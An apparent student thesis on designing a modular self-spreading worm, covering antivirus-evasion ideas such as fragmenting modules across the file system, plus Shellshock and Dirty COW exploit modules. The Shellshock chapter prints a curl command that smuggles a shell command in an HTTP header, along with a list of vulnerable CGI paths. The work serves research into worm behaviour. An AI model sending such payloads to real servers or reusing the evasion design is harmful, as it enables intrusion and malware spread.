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Abstract

Through the last decades, Internet has become more and more important in our daily
life. More and more devices are connected together, sometimes in despite of the security.
Indeed, we saw a lot of viruses emerging, sometimes very dangerouse, which exploited
software vulnerabilities to execute malicious code. To improve the comprehension of a
worm behaviour, we decided to build one, using documented and patched vulnerabilities.
We made this worm a modular one, meaning that it can embed several exploits, each
one set apart in modules. This worm can be used as a generic tool to help analysts to
understand how worms work better.
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CHAPTER 1

INTRODUCTION

This chapter briefly presents the project: what are our goals, what is the scope of the

project and the tools we used to build it.

1.1 PROJECT OUTLINE

1.1.1 MOTIVATIONS FOR THE PROJECT

This paper presents a computer worm we built. Rather than using reverse-engineering

to try to understand the behaviour of an existing worm, we chose to build our own. This

led us to have the same reasoning as a hacker: we asked ourselves the same questions, we

went through the same situations, and the solutions that came out of this reflexion could

be used in the future to prevent ourselves against new treats.

Making a worm that used modules was one of our main goals, which allowed us to add

as many exploits as we wanted. The modules could be used together to make complex

attacks, which allow us to have a worm able to do reproduce very different attack scenarios.

This modular architecture can be used to simulate the behaviour of other worms, and

analysts can use it as a regulated penetration tool.

1.1.2 SCOPE OF THE PROJECT

When building a computer worm that does not have to be out of control, we need to

take some measures to avoid uncontrolled spread. That’s why we put some limits on

the modules we decided to implement. Indeed, we did not write any sandbox evasion

module, which can be very dangerous if a malicious person try to use it. We also chose to

not use any strong or undocumented obfuscation mechanisms. We did not implement

any zero-day for the same reasons.

The exploits we developed are well known and have already been patched. They are

only provided as à Proof-of-Concept (PoC) for the whole worm, and to serve as a basis for

someone who may want to use our work in the future.
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1.2 AROUND THE PROJECT

1.2.1 TOOLS USED

We wrote the worm and its modules with the C language, with the standard gnu99, so we

chose to compile it with the compiler GCC 7.1. To do our tests, we used the virtualization

software VirtualBox 5.11 and a raspberry pi for tests that didn’t work within a virtual

machine. Some parts of the project have been written in bash 4 and ruby 2.

1.2.2 AUTHORS

We are two students at the University of Kent (Canterbury, UK), and we are working on

this project for the Master of System Security in Computer Science for the 2016-2017 year.

I’m Thibaut Broggi, and my colleague is Arthur Poulet. We are both French, and we are

studying at Epitech, in Paris, FR.

1.3 OVERVIEW

This paper is divided into 6 parts.

Chapter 1: Introduction This is the current chapter, which presents the project’s scope

and the paper.

Chapter 2: Background and state of the art This is the literature review, which contains

a review of the concepts of computer security, especially about malware and worms.

Chapter 3: Modular worm design This chapter explains the main choices we made about

the architecture of our modular worm.

Chapter 4: Modular worm implementation This chapter contains information about

how we implemented our worm in detail, module by module.

Chapter 5: Testing This chapter contains details about the scenarios we made to test our

worm, their results and how to reproduce them.

Chapter 6: Conclusion The conclusion contains a summary of the project’s achievement,

and future work about it.
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CHAPTER 2

BACKGROUND AND STATE OF THE ART

2.1 WORMS AND COMPUTER SECURITY HISTORY

This chapter presents the background of the project. It makes a short overview of the his-

tory of computer security, presents some well known viruses, and shows countermeasures

to prevents being infected.

2.1.1 HISTORY OF MALWARE

2.1.1.1 FIRST VIRUSES AND WORMS

The first computer worm was called “Creeper” and was written by Bob Thomas in

1971. It was a software that replicated itself into other computers by using the Advanced

Research Projects Agency Network (ARPANET) network. It didn’t caused any damage, as

it only displayed a message on the infected computer. It has been removed by a similar

program named “Reaper” (Chen and marc Robert; 2004; Muse et al.; 2005).

Several worms have been made during the first years of the Internet. They often used

the Simple Mail Transfer Protocol (SMTP) protocol to access other computers, and they

relied on the trust of the user to be executed. That trust is still today a major issue in the

domain of computer security.

2.1.1.2 ECONOMICAL ISSUES

Malware can cause a lot damage in a company, especially economical ones. Indeed,

once an attacker infected all the computers of a company, it can do whatever he want

with the data. This can be a destruction, resulting into a huge economical loss or a theft,

which can be very annoying if it imply sensible data, like user passwords or research data.

It the malware is a ransomware, it can also encrypt those sensible data and ask for money

instead, and threaten to leak those data. Some structure are more sensitive than others,

indeed, if a malware can compromise the database of an hospital, the consequences

would be catastrophic.

Another indirect economical issue is the loss of trust of the customers of a compromised

company. A famous example is Yahoo, which users information database has been leaked
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several times during the past years. Those leaks were famous by their amplitude, and the

sensibility of the leaked data. Indeed, 1 billion accounts were compromised in 2013, and

500 million in 2014, which contained personal information like hashed passwords, security

questions and answers, email addresses and telephone numbers (Yahoo!; 2016a,b).

2.1.1.3 CYBER WARFARE

Nowadays, every developed country rely on infrastructures that are using computers

to work. Since every computer is vulnerable, especially if an attacker has a physical

access to it, they became an important target for intelligence agencies. Indeed, a well

written malware can infect and disturb almost every infrastructure in a target country,

like hospitals, or power plants. A good example of this is the Stuxnet worm, that infected

nuclear plants in Iran (Anderson; 2012). This new way of making a war will probably

become more and more common in the next years.

2.1.2 CLASSIFICATION AND DEFINITIONS

2.1.2.1 CLASSIFICATION

Malicious software, also referred to as malware, includes a large variety of different

software, with a lot of different technical features. Some of the most common examples of

malware are:

VIRUS A virus is a piece of software or program that replicates itself by modifying other

computer software, and inserting its own code in it (Stallings; 2012).

WORM A worm is a standalone program that can replicate itself and infect other com-

puters, typically over the network (Grichenko; 2001).

ROOTKIT A rootkit is a software that is installed in a restricted area on the computer,

which make it very difficult to remove. It can be executed during the boot process, making

it very difficult for the Operating System (OS) to detect it. Some rootkits are installed into

firmware, making them impossible to remove without specialized equipment (Rao and

Selvakumar; 2014).

SPYWARE A spyware is a type of malware that gather information about a person without

its consent. It is typically used with an adware, which add ads to the infected computer.

Those information can also be sold to a third party (Federal Trade Commision; 2005).

TROJAN A Trojan, or Trojan horse, is a software that is installed without the consent

of the user, by misleading him. For example, it can be a software that is installed at the

same time as a legitimate software, or it can be hidden in an email that look unsuspicious

(Landwehr et al.; 1993).
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Since some of those definitions are very similar, it can be very difficult to classify a given

malware. Furthermore, some of them are a combination of several of them. For example, a

lot of trojans are also spyware. This classification only defines the main technical features

of a malware, and not their behaviour. According to this classification, a ransomware

using a network vulnerability to replicate itself will be classified as a worm.

2.1.2.2 WELL KNOWN WORMS

MORRIS WORM The Morris worm, named after its creator, Robert Tappan Morris, is

one of the first worms distributed via the Internet. Released in 1988, its goal was to

be an harmless software that intended to measure the size of the Internet. However,

some devices were infected several times and the worm unintentionally slowed down the

infected computers, like would a fork bomb do (Weaver; 2001).

ILOVEYOU It was a worm that infected ten of millions of Windows computers in 2000.

It was carrying an attachment that contained a Visual Basic script that looked like a

genuine text file. Once opened, the worm scanned all the email addresses contained into

Microsoft Outlook and sent them an email that contains the worm. Since most the people

who received the email knew the sender, they trusted it and opened the attachment. In

addition to the replication, the worm destroyed random files on the infected machine

(Chien; 2000).

SQL SLAMMER It was a worm that infected Windows servers by using an exploit in SQL

Server in 2003. One of its principal technical features was the fact that it didn’t check if

the target computer was running an SQL Sever. Instead, it tried to infect every possible

device directly, making it faster to spread (Ellis; 2003). It infected 75,000 servers within ten

minutes, resulting into a general slowed down Internet traffic.

STUXNET It is a famous worm which goal was to infect and cause damage to the Iranian

nuclear program. It has been discovered in 2010 and it used zero-day flaws in Windows

operating systems to spread. In 2012, it has been stated that this worm was a cyber-

weapon developed by both the USA and Israel (Anderson; 2012).

MIRAI It is a worm that turned infected devices into zombies, and used them to perform

Distributed Denial of Service (DDoS) attacks (McDowell; 2013). Discovered in 2016, it was

one of the first malware that targeted Internet of Things (IoT) devices with default con-

figuration. Indeed, a lot of manufacturers are building connected devices with identical

passwords, remote connection enabled by default and no obligation for the user to change

those settings. Since most of the IoT devices available at the moment are running under

the GNU/Linux operating system, it is the only one that supported Mirai (Chirgwin; 2017).

To infect as many devices as possible, the worm was compiled for several architectures:

arm, arm7, i686, m68k, mips, mipsel, powerpc, sh4 and sparc. The source code of Mirai
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has been released under the GPLv3 licensed in October 2016 on GitHub (Mirai source

code; 2016).

WANNACRY WannaCry was a worm that spread in May 2017, and acted as a ransomware.

It used an exploit into the SMB protocol called “EternalBlue” to infect Windows devices.

This worm has infected about 230,000 computers in 150 countries (Ehrenfeld; 2017). This

attack has been made famous for its amplitude, but also because the NSA knew about the

exploit and did not reported it to Microsoft, preventing them from fixing it (Wong and

Solon; 2017).

2.2 WORM COUNTERMEASURES

Preventing from being compromised by a worm, or any other kind of malware, can be

achieved in two ways: by preventing it from infecting a computer, or by detecting it once

it is present on the computer, with the help of an antivirus.

2.2.1 PROACTIVE DEFENSES

FIREWALL Every computer connected to a network can be accessed by any computer

that know its IP address, and any port can be used to communicate with it. A firewall is

a software that prevent this behaviour, by handling network connections and deciding

which one is allowed or not. The allowed connections are defined by a set of rules, which

can be modified by the user. A firewall often rely on the ports to decide if the connection

has to be blocked or not (Boudriga; 2010).

REDUCED PERMISSION Nowadays, every operating system is multi-user. That means

each user on a computer has a password to access it, and has access to a limited amount

of files and commands. When dealing with a computer with several users (remote servers

can have hundreds of users), it is important to limit the permissions of each user as much

as possible. If a user doesn’t need to do something, he shouldn’t have the permission to

do so. On a networked device, it is even more important: if a user that have too much

permissions is compromised, the whole system might be compromised.

2.2.2 REACTIVE DEFENSES: ANTIVIRUS

An antivirus is a software which goal is to detect malware and to remove them (Nachen-

berg; 1997). It can perform a scan of the whole system to find software that look malicious,

and check every new software, by looking at the last downloaded files or the content of an

USB key when one is plugged in. An antivirus can detect if a software is malicious by two

means: static analysis and dynamic analysis.

2.2.2.1 STATIC ANALYSIS

The most common method to detect malware is via static analysis. It consists into

checking each file on the file system by looking for patterns that are used by malware, but

not by benign files. This method can prevent the execution of a newly detected program
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if it matches a known pattern. Those patterns are called signatures, and consists into a

derivation of a known malware. This signature must not be too generic, to avoid false-

positive, but it must also not be too specific. Indeed, two versions of a same malware

with slight differences have to match the same pattern and be flagged as malicious by the

antivirus (King; 2017).

The major flaw in this method is that it requires to know the pattern of every existing

malware to be efficient. If a new kind of virus appear, its signature will be unknown and

an antivirus that rely only on static analysis will be helpless.

2.2.2.2 DYNAMIC ANALYSIS

A dynamic analysis consist into trying to detect malicious software by its behaviour

rather than with the help of a pattern. Once a software is executed, the only way to interact

with its environment is by using system calls. These system calls can be traced and logged,

with the help of tools like ptrace. A graph of the system calls can be generated, and then

compared with known malicious behaviour (King; 2017).

However, this method has some weaknesses: if a malware is programmed to execute

its payload at a given time, the antivirus will not be able to prevent it. Some malware

also detect if an analysis is being performed and don’t do any malicious action during the

analysis.

The next chapter presents the features we wanted our worm to have, and the design

choices we made to make them.
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CHAPTER 3

MODULAR WORM DESIGN

This chapter presents the features of the worm we want to build, and how we plan to

design and implement them. It presents the choices we made, regarding of the modular

design of our worm, and the stealthiness requirements of a worm.

3.1 MODULARITY

Grichenko (2001) defines a modular worm as “a worm consisting of body and some

theoretically unlimited number of optional parts (such as different exploits and payloads)

that could be transferred from worm to worm.” We used this definition as the main

design choice for our worm. Indeed, each feature of the worm, even harmless ones like

a database, is a standalone module. This make the core (referred as body in Grichenko’s

definition) as small as possible, and so the whole worm is smaller, since we only load the

modules that we need.

3.1.1 SCOPE OF A MODULE

Every module in our worm correspond to a specific feature, and does nothing more than

than. There are divided into two categories: the utilities and the exploits. The utilities are

generic modules that are used by other ones to operate, like the database or the network

one. A utility module should not contain any malicious code, to limit the number of

modules that can be flagged as malevolent by a potential antivirus. On the other hand,

an exploit module is a module that contain some malicious code. It can be a privilege

escalation, an exploit of a vulnerability in a given software, a brute-force attack, etc. It

must be short and rely on the utility modules to execute any benign code.

This separation results into several advantages:

Stealthiness A smaller module is less likely to be detected by an antivirus that rely on

static analysis.

Structure Writing a module is easier if it is small and has a limited scope.

Extensibility Adding a new feature only consists into adding a new module that rely on

the ones that already exist. It makes it easier to write a new module since it has a

defined scope and all its needs are provided by the existing utility modules.
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3.1.2 COMMUNICATION BETWEEN MODULES

Since a module only has a limited set of operations defined by its scope, it is only useful

in conjunction with other modules. That’s why modules need to communicate with each

other. This communication is made possible by an Application Programming Interface

(API), provided by the worm. In the first place this API was provided by the core, but we

moved it into an utility module, in order to make the core smaller, and the worm more

modular.

The main mechanisms involved by this communication module are very simple: each

module has a queue of available messages, in which it is the only one that can read in it.

On the other hand, any module can write anything in the queue of another plugin. The

communication module manage all the memory allocation involved by this mechanism.

The data is sent as an opaque Binary Large Object (BLOB) of data by the sender module,

which is easy to interpret by the receiver module with a C “cast” operation. The memory

management of this mechanism is managed by the communication plugin, which delete

each message after the execution of the module that read it.

The messages can be sent either in an asynchronous or in a synchronous way:

Asynchronous The sender module send the message, and the receiver module will be

able to read it the next time it will be executed. It is useful when a message does not

need an instant answer, when it asks to execute an exploit for example.

Synchronous The sender module send the message, and the receiver module will be ran

immediately to process the message instantly. It can be useful if a module need

to retrieve a variable stored by the database plugin without having to wait for its

next execution for example. Since modules can call themselves recursively with this

sending method, there is a recursion limit of 10. This limit is used to avoid infinite

recursion which could cause a crash of the worm (Van der Linden; 1994).

We first chose to only implement the asynchronous way, to have all the modules ex-

ecuted in a given order, and to make the memory management simplier. But later we

found out that a synchronous way of communication was needed when we designed the

database plugin, which need an instant response when we want to retrieve data from the

database.

If a module is updated and its API is modified, it can lead to breaking changes. To avoid

that, we decided to add a versioning system. Each module has a version number, inspired

by Semantic Versioning, written as X.Y, where X is the major version and Y is the minor

version (Preston-Werner; 2013). The major version number changes when a breaking

change in the API is implied, while the minor version number changes when a bug is fixed

or a feature is added. Each time a module send a message, it has to specify the plugin id

and its version number. If the version number specified is not compatible with the loaded

one, the message will be discarded.
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3.1.3 MERGING CODES

The idea of splitting a software into small pieces of code is not new. Indeed, every

software is divided into a lot of functions that depends on other functions (Kaynar; 1972).

On the other hand, a modular worm is divided into modules that depends on other

modules.

Another concept of our modular worm is that it is defined by the modules it uses.

Indeed, modules can have a different behaviour depending on the available modules.

The most obvious example is the case where a module is not available, which mean it

will not be called, thus it modify the behaviour of the module that depend on it. But

often, an attack requires several plugins to operate: if an attack consists into exploiting

a network vulnerability in a given software, it will need several modules: the network

one, the network discovery one, and the exploit one. If only one of those modules is

unavailable, the module that manage the attack should not do anything at all.

3.1.4 MULTI-MODALITY

Since the worm is designed in a modular way, it is, by nature, multi-modal. It means

that the worm is able to use several channels to do an operation in different ways, like

communicating, sending data, or replicating (Ellis; 2003). It is very common to be able to

write a module A and a module B that do similar things, but in a different way. In most of

the cases, a module C can be written as an abstraction of both the modules A and B, and

provide an unique API to other modules. Every module that require either the module A

or the module B can use the module C instead, which is useful if the used channel may

change in the future.

EXAMPLE A replication module need to write files. It can do it in several ways: by simply

writing a file on the local file system (by using the system call open()), by writing it on

a USB key (which requires to detect it and to mount it), or by writing it into a remote

location (using a network protocol, like File Transfer Protocol (FTP)). One module per

channel can be written, and a fourth one will be the API that abstract all of those modules.

Any module that requires to write a file, whatever the way, can use this abstraction module

to do so.

3.2 PROTECTION MECHANISMS

A worm is, by definition, an unwanted software on a computer. It means that if one of

the people that use the computer find it, the worm would be deleted quickly. The main

concern for the worm is to be as undetectable as possible, to avoid such a deletion.

We can never know where our worm is installed. Most of the time, it will be on a personal

computer, or on a server. But it can also be be sand boxed by an analyst that want to

understand the behaviour of the worm, and analyse it in a way that it will allow antivirus

to detect it.

13 of 35



Since being as stealthy as possible is a critical need for our worm, this section presents

each mechanism involved to prevent detection, either by design, or by writing modules

dedicated to this task.

3.2.1 STEALTHINESS

A software that uses a lot of resources on a computer, like RAM, I/O or CPU, is more

likely to catch attention, especially if a human is looking at the currently used resources. It

is the main reason why our worm need to be as stealth as possible: to avoid being detected.

So we decided to make our worm very small on RAM, and to limit its CPU load. It is one

of the mains reasons why we decided to write the worm with the C language, which is

low-level and compiled, and therefore, smaller and faster once executed. The core of the

worm is tiny, and the modules tends to be so.

An antivirus that analyse every file present on the computer might flag one of our

modules as malicious, and remove it. It is due to the fact that each module is represented

by a file on the computer. Since the core of the worm is tiny, harmless and generic (it only

loads the modules, like any software that rely on plugins do), it will never be removed by

an antivirus.

Furthermore, antivirus may remove several modules, but not all of them. Indeed, the

utility modules, which are harmless by definition, won’t look suspicious, so they won’t

be automatically removed. Some exploit modules may also remain after the antivirus

analysis, making the worm still able to work in a limited way. A “recovery” feature could

be implemented to restore the deleted modules. Indeed, it is possible to write a module

that will regularly ask to other worms present on other computers if it has more modules

than the one asking for it.

3.2.2 OBFUSCATION

Even if we designed the worm to be is as stealth as possible, an analysis to find patterns

in it is still possible. Indeed, all our modules are very similar: they are using the same API,

and they provide very similar API to the other modules. A good way to avoid patterns

to be detected in our modules is by obfuscating them. We chose to only obfuscate the

modules on the file system, which mean they are not easily readable before being loaded,

but there is no protection once they are loaded in the memory of the computer. There are

several ways of doing that, both with advantages and inconvenients:

Standard encryption If the modules are stored encrypted with a well known encryption

algorithm, an analysis will be way harder, since it needs the file to be decrypted

first. If the encryption key is not stored in clear in the decryption module, and if

the encryption method used is robust enough, it will be nearly impossible for an

analyst to decrypt it, making a static analysis of the worm way harder. However, it

is very likely that an antivirus will detect that those modules have been encrypted,

and it might draws attention on them. Nevertheless, the encryption algorithm must

be robust enough to resist an antivirus decryption attempt. Indeed, encrypting
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the worm with a xor operation can be easily bypassed by an antivirus, making the

modules most likely to be detected and analysed (King; 2017).

Non standard encryption If we try to build our own encryption method, it will be less

likely to be detected by antivirus, since it is a method that has never been seen

before. However, an homemade encryption algorithm would be very weak, and an

advanced analysis might broke it easily.

Partition the files Like using a non standard encryption method, an homemade partition

algorithm is not detectable by an antivirus. The main advantage of this method is

that the modules parts can be randomly distributed over the file system, making

an analysis harder. The parts should be different in size to prevent the discovery

of a pattern. Furthermore, useless random parts can be added throughout the file

system to confuse an antivirus.

The fact that all of those methods only imply the modification the files leads to several

drawbacks. Indeed, since only the files are obfuscated, those methods does not protect

the worm against a dynamic analysis at all. Another issue is that, once loaded by the

worm, the modules are not protected in the RAM, which might be analysed if the worm

is ran in a sandbox (Goldberg et al.; 1996). However, an exploit could be added to try to

detect such a sandbox, and even escape it.

From all those possibilities, we chose to the third one, and we divided our modules into

several pieces of files distributed over the file system. To comply with the modular aspect

of our worm, this division is done in a specific module.

This chapter explained which features we wanted to develop, and the next one will

presents how we implemented each of those features.
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CHAPTER 4

MODULAR WORM IMPLEMENTATION

This chapter shows in detail how we decided to implement our worm. Each section

presents a module, its features, its structure and its API.

4.1 CORE

4.1.1 CORE LOOP

Since all the features of the worm are defined within modules, the core is very limited in

terms of features. Its main purpose is to load the modules and to provide them with an

API. This API consists only into one function, which load modules. The rest of the API,

used by the modules to communicate between themselves, and described in the next

section, was provided by the core, but we moved it into a special module in order to make

the core smaller. This special module is the first module loaded by the core, since the

other modules are requiring it to work.

Once this module is loaded, the core loads another special plugin, the module discovery

module, which will look for the other modules on the file system. When those two modules

are loaded, the worm is able to load any module it wants. Then, the role of the core is to

execute each module within an infinite loop.

Since the core is only used as a link between the modules, it is even possible to reduce

its size. Indeed, we can move the module load part into another special module, like we

did with the communication module. By doing so, we can theorically infect any software

that rely on shared objects.

4.1.2 COMMUNICATION API

The modules are concurrent executable codes provided by the shared objects, which

mean there are no modules executed in parallel. Instead, they are executed in a given

order, and a module that want to communicate with another one will have several ways

to do it:

Asynchronous The module writes a message in the message queue of the module it

wants to communicate with thanks to the api_send_message() API function. The
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destination module will be able to read it on its next execution, and it will have to

use the function api_receive_message() to do so.

Synchronous If a module wants to send a message that need to be treated immediately,

it can use the function api_send_message_instant() instead. This function also

writes a message in the queue of the destination module, but it also calls the func-

tion run_instant of the destination module, to let it react to the message it just

received. Since this function is optional, the sender module will get an error if this

function is not present in the destination module. The receiver module can read

the message with the function api_receive_message(), like if the message was

sent asynchronously. Since the execution of the sender module is halted and will be

resumed just after the execution of the receiver module, an answer can be sent with

the function api_send_message(). To avoid stack overflows, an arbitrary limit of

10 consecutive uses of api_send_message_instant() has been added.

Another function is available via this API: it is the function api_clear_read_messages(),

which can remove all the read messages from the queue. This function is typically used by

the core after each execution of a module, and its only purpose is to free memory used by

old messages.

A message is represented in memory with a C structure (Fig 4.1.1) that is filled by the

sender plugin. It also has to specify the id of the destination plugin and its version number.

typedef struct {
api_plugin_t plugin;
void *content;
size_t content_size;

} api_plugin_t;

Figure 4.1.1: C structure in which messages are stored

4.1.3 MODULE SYMBOLS

Each module has to define at least two symbols: the first one is named version and

is represents the version number of the module. It contains the id of the plugin, and its

major and minor version numbers, used to manage compatibility between modules. The

second mandatory symbol is run, which contains the executable code of the module.

There is also an optional run_instant symbol, which consists into a piece of code that is

executed when another module is trying to communicate with it in a synchronous way.

Those symbols are loaded by the core thanks to the functions dlopen() and dlsym(),

which allow to easily open shared objects files and find symbols in it.

There is an exception, which is the communication module. Indeed, it does not contain

the run symbol, but instead it provides the api_send_message, api_send_message_instant,
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api_receive_message and api_clear_read_messages symbols, used by the other mod-

ules do communicate. Since all of the other modules rely on this special module, it is

loaded first by the core.

4.2 NETWORK MODULE

4.2.1 FEATURES

We wanted our worm to be able to communicate with other worms or a commander

machine, so we designed a network protocol and implemented it in a module. The module

is a utility module that has a limited set of features: it can only send and receive messages.

The messages are sent from a module on the local worm to another module running

on another worm. This module can be used by other modules to make worm updates,

control one of several remote worms at a time, or even gauge the number of infected

devices.

4.2.2 PROTOCOL

The network protocol is described by the C structure (Fig 4.2.1) sent through the network,

thanks to the User Datagram Protocol (UDP) protocol. This structure define the header of

the datagram, and the body is sent right after. The body length has been fixed to 65000, in

order to avoid our datagrams being split over the network.

typedef struct {
magic_number_t magic_number;
unsigned packet_id: 32;
unsigned TTL: 8;
unsigned destination_host: 32;
api_plugin_t destination_plugin;
unsigned body_length: 16;

} p3_msg_t;

Figure 4.2.1: C structure of a message throught the network

magic_number It is a unique identifier used to identify the worm packets. If a received

packet does not contain the correct magic number, it is discarded by the network

module.

packet_id Currently unused, this field could be used in the future to send datagram larger

than 65000. Two packets with the same packet_id would be merged into one bigger

one by the network module upon reception.

TTL Currently unused, it could be used to forward packets in a distributed communica-

tion system to avoid packages from being forwarded between hosts indefinitely.

destination_host Currently unused, it represents the host that should receive the mes-

sage. Like the TTL field, It would be useful in a distributed communication system.

destination_plugin The plugin that will to receive the packet.
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body_length The length of the packet’s body, in bytes.

4.3 DATABASE MODULE

4.3.1 FEATURES

The database module is used to store data on the file system, in order to re-use them

later. Three operation are available: ADD, GET and DELETE. An already existing variable can

be erased with the ADD command. There is a pagination system that allow each module to

have a reserved page on the database.

4.3.2 STRUCTURE

The database module store data in a file as a queue of metadata and data. The data is

the content of the variable while the medata contains the name of the variable, its size

and its author. We first tried to represent it as a complex structure like the Executable and

Linkable Format (ELF) one but we chose to make it simplier when we implemented it

(Committee et al.; 1995).

This module uses two structures: the structure p6_msg_query_t (Fig 4.3.1), used to

send a query to the database, and the structure p6_msg_response_t (Fig 4.3.2) that is the

response to the query.

typedef struct {
uint8_t type;
uint32_t name;
void *content;
uint32_t length;

} p6_query_t;

Example of payload that write a file on the

Figure 4.3.1: C structure of a database query

type It contains the type of the query, which can be ADD, DELETE or GET

name It is a numeric representation of the name of the variable to interact with.

content The content of the variable on a ADD request.

content The length of the variable content on a ADD request.

typedef struct {
uint8_t err_code;
void *content;
uint32_t length;

} p6_response_t;

Figure 4.3.2: C structure of a database response
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err_code The result status of the query (OK, ERROR or NOT_FOUND)

content The content of the variable on a GET request.

content The length of the variable content on a GET request.

4.3.3 INTERFACE

The database module provide several macros to make its use easier for other modules.

Those macros add a pagination system: the database is divided into many pages of 1000

variables. The 256 first pages are private, and only usable by the module that has the right

id, while the other ones are freely available to every module. Those macros are:

P6_DATABASE_WRITE(res, page, name, value, length) Adds or update the variable name

on the page page. The response is stored in the variable res.

P6_DATABASE_GET(res, page, name) Retrieves the content of the variable name and

puts it into the res variable.

P6_DATABASE_DELETE(res, page, name) Removes the variable name from the page

page.

4.4 FILE SYSTEM MODULE

4.4.1 FEATURES

The main goal of the file system module is to provide an API to allow access to file

system operations in an unified way, similar to the Portable Operating System Interface

(POSIX) functions, but with our own functions. We designed the API to make it easily

extensible in case we wanted to add other functions in the future. This module should

also provide an API identical for all operating systems.

4.4.2 INTERFACE

This module API contains only one macro, that takes at least three arguments. The first

one is a variable that will store the result of the operation while the second one is a variable

that will contain the result of the system call used. The third argument is the name of the

system call to use, and all the following arguments are the system call parameters. At the

moment, only the functions fopen and fclose are available.

4.5 MODULES DISCOVERY MODULE

4.5.1 FEATURES

The goal of the modules discovery module is to find modules on the file system and to

load them in the worm. Since we decided to split modules in several fragments on the file

system, this module purpose is also to reassemble them and make it understandable for

the worm. It can search for all the modules fragments in a given directory, recursively or

not.

20 of 35



4.5.2 STRUCTURE

The modules are divided into 4 fragments. Each fragment contains a set of metadata

that contains the id of the plugin, the number of the fragment, and a checksum that is

used to verify that the fragment is valid. The modules discovery module will use those

metadata to rebuild modules and load them.

4.5.3 IMPLEMENTATION

The module keeps a list of all the fragments and modules it loaded. At the first start, it

will recursively search for all the module fragments it can find in the current directory.

For each found file, it will check if it a valid fragment, thanks to the metadata described

above. After each fragment load, the module will check if the three others fragments of

this module are available. If so, it will build a shared memory object with the shm_open()

system call and fill it with the 4 fragments. On UNIX systems, this virtual file can be

accessed with the path /proc/self/fd/XXX, and this path will be used by the core to

load the module.

4.6 NETWORK SCANNER MODULE

4.6.1 FEATURES

The purpose of the network scanner module is finding targets for attacks, and retrieve

information about them. Currently, it only scan the Local Area Network (LAN) and search

for active hosts with an available Transmission Control Protocol (TCP) port 80. If so, it ask

the shellshock module to attack it.

4.6.2 IMPLEMENTATION

The module first use the UNIX command ip address to retrieve informations about

the LAN. Thanks to them, it can identify the first ip and the last ip of the network. Then it

scans all of the ips between those two ones.

4.7 EXPLOIT: SHELLSHOCK

4.7.1 ATTACK DESCRIPTION

Shellshock is a security bug in bash discovered in September 2014, and has CVE identi-

fier CVE-2014-6271 (CVE-2014-6271; 2014). This bug can be used to run exploits when

other software write untrusted data in the shell environment. Apache HTTPD is a famous

example of software that do that, and that’s why we decided to exploit it.

When a Hypertext Transfer Protocol (HTTP) client send a HTTP request to the HTTP

server, it specify headers, which are a list of keys associated with values, and are used by

the HTTP server to know how to handle the request. Apache HTTPD is a HTTP server that

handle requests and use modules to process them. To communicate with those modules,

Apache HTTPD writes the HTTP headers into environment variables. But bash executes
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the content of the environment variables. Since the content of the HTTP headers can not

be trusted, they should be treated before being written into bash environment.

curl http://192.168.0.125/cgi-bin/test-cgi -H "User-Agent: () { :; };
echo \"ShellShockHeader: Vulnerable\"" -I

HTTP/1.1 200 OK
Date: Thu, 08 Jun 2017 17:06:02 GMT
Server: Apache/2.4.1 (Unix)
ShellShockHeader: Vulnerable
Content-Type: text/plain; charset=iso-8859-1

Figure 4.7.1: Example of ShellShock exploit that modify the response header

This bug can be used to run arbitrary shell code, allowing an attacker to run whatever

command he wants on the target machine. Figure 4.7.1 shows how this exploit can be

used with the curl command to modify the response of the server, and thus check if the

server is vulnerable to Shellshock.

4.7.2 FEATURES

This module can use this bug to make the target execute any shell code. It can check

if a given domain name or a URL is vulnerable. If so, a payload can be sent to the server,

making the worm propagate for example.

4.7.3 STRUCTURE

The module can only handle one attack at a time, since it stores all the configuration

about it in static variables. The module stores the state of the attack in one of those

variables, and it is used to handle the API of the module.

4.7.4 INTERFACE

This module contains 4 macros used to control the attack:

P4_SHELLSHOCK_SEND_DOMAIN(domain) Sets the domaine that will be attacked us-

ing one of the following vulnerable routes: /, /cgi-bin/printenv, /cgi-bin/test-cgi,

/cgi-bin/test-cgi.cgi, /cgi-bin/test.cgi, /cgi-mod/index.cgi, /cgi-mode/index,

/cgi-sys/entropysearch.cgi or /cgi-sys/defaultwebpage.cgi.

P4_SHELLSHOCK_SEND_URL(url) Sets the exact URL to attack, overwriting the do-

main.

P4_SHELLSHOCK_SEND_PAYLOAD(payload, size) Defines the payload to send. It is a

shell script that will be executed on the target.

P4_SHELLSHOCK_SEND_EXECUTE() Orders to launch the attack with the configura-

tion we set with the macros above.
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4.8 EXPLOIT: DIRTY COW

4.8.1 ATTACK DESCRIPTION

Dirty cow is an exploit that use a bug in the Linux kernel: a race condition that happens

when using the system call madvise and the copy-on-write kernel mechanism. It can

be used to modify any file that one can read one, regardless of the owner of the file. It

can be used to modify a file owned by the root user. Discovered in December 2016, this

exploit depends on the processor architecture. It has the CVE identifier CVE-2016-5195

(CVE-2016-5195; 2016).

4.8.2 FEATURES

The implementation we made of this exploit is very simple: it can modify a read-only

file regardless of the permissions, and write a string in it at a given offset. The data at this

offset are overwritten, so there must be enough place in the file for the whole string we

want to write.

4.8.3 INTERFACE

The API provides only the macro P12_FILE_EDIT_OFFSET(res, filename, offset,

replace, replace_size), where res is a variable that contains the result of the func-

tion, filename is the name of the file we want to modify, offset is the offset where we

will write in the file, replace is the string we will write and replace_size is the length of

that string.

In the next chapter we will present the tests we made to ensure that our worm work as

intended.
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CHAPTER 5

TESTING

This chapter presents the tests we made for the worm, with an emphasis on the exploits.

5.1 TESTING ENVIRONMENT

Since the worm is a malicious software able to replicate itself over the network, it should

not be launched without being isolated from the rest of the world. Since we did not

design any sandbox evasion system, it it safe to test it by using virtual machines connected

together with a virtual network disconnected from the Internet. We chose to use the

virtualisation software VirtualBox 5.11.

The whole worm is built thanks to a Makefile, which build the core, the modules and

then split them. The core will load all the modules present in its directory. To start a test,

the core and all the required modules must be put in the same directory, and then the

core must be executed. Since the behaviour of the worm depends on the modules it loads,

no heavy modification of the worm code will be involved.

5.2 SHELLSHOCK ATTACK ON APACHE HTTPD AND BASH

5.2.1 SCOPE OF THE TEST

Since a working worm rely heavily on the network, the first test’s goal is to verify that the

worm can communicate with another distant machine. This test presents three scenarios

with slight differences. They all involve the Shellshock module, and they aim to prove that

it can be exploited using several different configurations. This test only requires three

modules: the shellshock module, which handles the exploit, the shellshock_command

module, which run the chosen scenario and configure the shellshock module, and the

network module, which handles non hard-coded operations.

5.2.2 REQUIREMENTS

This test requires two virtual machines that must be part of the same virtual network,

and able to communicate. To ease the development of this test, we named our two

machines with colour names: the red machine is the one the worm is running on, while

the blue machine is the target. The red machine must know the IP address of the blue
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machine . The red machine has the IP 10.13.13.101 while the blue machine has the IP

